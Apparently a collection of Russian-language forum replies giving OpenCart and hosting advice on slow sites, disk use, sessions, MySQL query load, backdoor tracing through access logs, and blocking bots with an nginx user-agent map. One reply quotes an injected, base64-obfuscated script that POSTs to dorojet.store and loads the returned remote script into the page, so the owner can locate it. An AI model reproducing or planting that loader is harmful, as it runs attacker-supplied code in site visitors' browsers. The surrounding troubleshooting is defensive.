NotSlow

Или еще вариант - кто-то удалил кэш фоток. И теперь какое-то время будут тормоза пока они снова не пересоздадутся. Хотя при этом будет приличная CPU нагрузка, а у вас не ясно есть ли она или нету.

Вам же сказали какие - php процессы Можно зайти по ssh и запустить top например. А что конкретно за процессы и что они там делают - это хостеру видней. Может у вас там какие-то cron задачи запускаются, возможно они что-то качают откуда-то, а тот недоступен - вот и висит все. Может это именно php процессы от заходов на сайт ваш. Надо как минимум в логи заглянуть. Если вам про нагрузку на процессор хостер ничего не говорил, то полагаю процессы эти висят просто так, не нагружают cpu. Значит скорей всего опять же среди php скриптов где-то выполняется запрос к стороннему хосту, который видимо не отвечает или тормозит сильно. Не имея доступов, точней подскажет только гадалка.

Как вариант - cloudflare подключить. И их защитой от ботов отбиваться. Но... Не факт что осилите :] Но самое правильное - начать с изучения логов и от этого уже дальше что-то делать.

вопросы: 1) 15гб что именно занимает? весь сайт целиком с базой? только mysql база 15гб? или всеж речь про папку image? т.е. чисто фоток 15гб? 2) в чем именно проблема? зачем уменьшать? не хватает места на диске (тариф нынешний например до 15гб) и чтоб не платить больше за следующий хотите ужаться? или место есть, но не хватает inodes (есть ограничение на количество файлов)? если речь именно про фотки, то 16тыс на 15гб - это же меньше 1мб на товар... это не сказать что и много, куда там уменьшать. тут опять же, чтобы что-то советовать надо понимание сколько именно оригиналы весят, а сколько ресайзы. как выше уже писали, возможно оригиналы надо пережать, возможно в ресайзах там по 10 копий фоток разного размера и надо уменьшить количество копий. ну а если проблема не в гигабайтах, а в количестве файлов фоток, то надо просто переехать на другой хост, где нет таких ограничений. по vps - может у него уже и так vps, кто знает... просто место на диске нельзя добавить, а переносить нет желания. а если сейчас shared, то vps же выйдет еще дороже, может задача стоит расходы не увеличить хотяб... а вы предлагаете и расходы на сам хостинг увеличить, да плюс далеко не у каждого пингвины на аватарке надо ведь еще разбираться в этом всем и поддерживать. а если нет знаний - это опять же лишние расходы на поддержку.

Вы бы написали хостеру, спросили нет ли у них... возможно они не такие беспечные :]

вы бы просто backup откатили, чем разбираться что не так или тем более кого-то чужого пускать разбираться :-\

Так было всегда или вдруг стало? Возможно этот случай: Открыта куча разных вкладок и месяц браузер не перегружался... https://opencartforum.com/topic/102951-kak-uvelichit-vremya-sessii-v-adminke/#comment-990255 Также создайте любой файл, например i.php с текстом: <?phpinfo();?> Откройте браузером сайт/i.php Ctrl+F и найдите там session.gc_maxlifetime Что сейчас за значение стоит?

ох уж этот народ с 5000 открытых вкладок в браузере где-то на 1000х задаст вопрос на форуме и пропадет... сейчас наверное где-то в районе 2000х, через месяц вернется как ни в чем не бывало. а мы тут зря переживаем, версии разные предполагаем...

белый экран - это в 99% случаев php fatal error при отключенном отображении ошибок. но в логах должно быть видно в чем ошибка

Ну так и писали бы самому лучшему, а не сюда Доступы есть лишь у вас и у них. Чем кто-то без доступов поможет? Могу разве что посоветовать начать дружить с логами. Берите дату изменения файла, открывайте access.log и смотрите что происходило в это время. Как вариант - были какие-то запросы (скорей всего POST) к какому-то из файлов - открывайте смотрите что в нем. Это может быть целиком бэкдор или вставка левого кода в обычный нормальный файл. И дальше аналогично смотрите дату его и по логам что происходило в то время. Это один из наиболее частых случаев. Когда с плагином или чем-то еще заносят собственноручно бэкдор, а через какое-то время его хозяин начинает им пользоваться. Но может быть конечно и иная схема. Включая уязвимости где-то или вообще через "самого лучшего" зараза могла просочиться к вам.

Откуда уверенность что все правильно? Opencart может писать свои сессии в базу и с php сессиями это не связано. Кто знает как и что у вас там настроено... надо смотреть.

в базе, в таблице oc_settings найти config_login_attempts и поставить по-больше

Я в принципе уже не удивляюсь, что у вас вирусы на сайте удалите тот varvara.php пока вам еще не накидали...

там действительно уходит POST запрос к dorojet.store в зашифрованном виде. и ответ приходит тоже зашифрованный - Ly91bnBrZy5jb20vY3Jvc3MtZmV0Y2hAMy4xLjUvZGlzdC9jcm9zcy1mZXRjaC5qcw unpkg.com/[email protected]/dist/cross-fetch.js вот эту строчку ищите: fetch(al('Ly9kb3JvamV0LnN0b3Jl'),{method:al("UE9TVA")}).then(r=>r.blob()). then(c=>c.text().then(b=>{jl.src=al(b);d.head.appendChild(jl);})); что это все такое и зачем без понятия :]

Я и не призываю никого слепо копировать никакие списки, у каждого своя ситуация. Просто показал на примере синтаксис конфига nginx. Чтоб не if... и перечислять ботов в каждой server секции, а через map 1 раз список, а дальше уже по каждому сайту коротко.

Для начала смотрите полный запрос: show full processlist По кускам текста запроса можно поиском по *.php файлам сайта найти откуда он... модуль какой-то или сам движек. Можно попробовать в phpmyadmin этот же запрос запустить и там напишет сколько времени он выполнялся. Если действительно долго (может быть и быстро, но просто таких запросов очень много приходит), то исследовать все его составные части, посмотреть есть ли нужные индексы в базе. Если нет - проставить. Посмотреть какой размер ответа получается, включен ли кэш запросов в mysql. Встречал случаи когда были тяжелые запросы, которые выдавали в ответ несколько Мб текста. А query_cache_limit стоял по-умолчанию (небольшое значение какое-то) и подняв его, сразу получил заметно более быстрый ответ, т.к. начало работать кэширование.

Так может в том и проблема, что вы только "знаменитых" и только "нескольких" рассматриваете :] У таких клиентов огромное количество и им проще массово прикрутить гайки всем (те же inodes, памяти выделить минимум, cpu нагрузку ограничить и т.д.), чем сделать кому-то индивидуальное исключение. Есть хлебозавод, где делают пару видов очень сильно средних видов хлеба, но массово. И если кому что-то не нравится - плевать, все равно большинство будет покупать. А есть частные пекарни, где в гораздо меньшем количестве выпекают. Где могут сделать что-нть эдакое, не как у всех. Или могут даже чуть подправить рецепт для постоянного клиента под его предпочтения. Понимаете разницу? Вас не устраивает что-то из крупных сетевых супермаркетов? Можно попробовать обратить внимание на частные мелкие лавки. Они также оффициально работают, также за репутацией своей следят, просто не такие крупные. С опытом многие это начинают понимать и например не приемлят уже пиво в банках, а только разливное подавай. Овощи пластмассовые в магазине не берут, а предпочитают ходить на рынок. И т.п. аналогии. В самом идеале конечно лучше все самому и свое - свой огород, своя хлебопечка и т.д. (собираете свой сервер и ставите на colocation). Но далеко не всем под силу и есть на это время.

200к на паре десятков или на одном? глянул у себя на одном из клиентских сайтов только гуглбота за сутки 10-15к запросов приходит. да, он он обычно не долбит по штук 5 запросов/сек как это делал яндексбот например. но посыл мой был в том, что кто знает что будет завтра? если и гуглбот начнет также. или если просто живого траффика будет 200к? потому в первую очередь сайт должен "летать". а переживать за ботов - вторично. ну и кроме ботов совершенно в любой момент какая-то зараза решит прогнать парсером сайт, и тоже никто там даже не подумает делать задержки между запросами... штук 20-50 запросов/сек (а то и больше) влупят и плевать им на все. нервы беречь надо :] спокойненько иметь себе средства мониторинга и средства защиты от подобных набегов, чтоб оперативно пресекать.

тут в таких случаях принято советовать: забанить конечно можно, но завтра на его месте окажется googlebot и его ж не забанишь. у меня так в http секции nginx: map $http_user_agent $blockagent{ default 0; '~MauiBot' 1; '~webmeup-crawler.com' 1; '~mj12bot.com' 1; '~petalsearch.com' 1; '~dataforseo.com' 1; '~ahrefs.com' 1; '~opensiteexplorer.org' 1; '~seostar.co' 1; '~serpstatbot.com' 1; '~search.com.ua' 1; '~ltx71.com' 1; '~megaindex.com' 1; '~ahrefs.com' 1; '~Screaming Frog' 1; '~amazonbot' 1; '~semrush.com' 1; '~site-analyzer.pro' 1; '~seekport.com' 1; '~criteo.com' 1; '~babbar.tech' 1; '~website-datenbank.de' 1; '~velen.io' 1; '~gptbot' 1; '~pr-cy.ru' 1; '~RainBot' 1; '~openai.com' 1; '~bytedance.com' 1; '~geedo.com' 1; '~my-tiny-bot' 1; '~fidget-spinner-bot' 1; '~thesis-research-bot' 1; '~ClaudeBot' 1; '~imagesift.com' 1; '~Go-http-client' 1; '~FeedBurner.com' 1; '~timpi.io' 1; '~leipzig.de' 1; } и в server секции так: if ($blockagent){ return 403; } но это не решает на 100% были и будут новые боты. причем эти все еще нормальные, а есть и тьма таких, что user agent'ом не выделяются. для них есть еще другая своя защита, аналог как у cloudflare проверка браузера на javascript но и даже она на 100% не отбивает зверье. самый верный способ - делать быстрый сайт. чтоб время ответа сервера было не выше 100мс и тогда плевать на ботов

и тоже с 30го числа примерно... это врядли совпадение

show variables like 'slow_query_log_file'; покажет где файл лога медленных запросов (если он задан вообще). но повторю, проблема не в этом скорей всего. slow_queries вам пишет полторы тысячи, а на первом скрине количество запросов десятки миллионов

Вы же видите на графиках своих, что 30 апреля всеж что-то да поменялось. Количество запросов к базе увеличилось более чем на порядок. Лог медленных может и не показать ничего, т.к. если верить скрину, то увеличилось именно количество, а не тяжесть запросов. Можно попробовать в phpmyadmin открыть вкладку "состояние" -> "процессы" и обновляя определить какими именно запросами бомбится база. Или по ssh зайти, подключиться к mysql и запросом show full processlist; также поймать какие именно запросы приходят чаще всего. Потом попытаться найти их среди скриптов. Скорей всего 30го числа что-то кто-то изменил в настройках, но что именно и где именно... не видя самих запросов не понять.

сайт ваш никто не видел и как именно реализовано это "обязательно" тоже никто не знает. предположу, что на javascript сделано. но ботам на это плевать, они будут POST'ить прямо в php скрипты что хотят.

легко. ну серьезно, вы впервые в жизни спам встречаете и не в курсе как от него защищаться?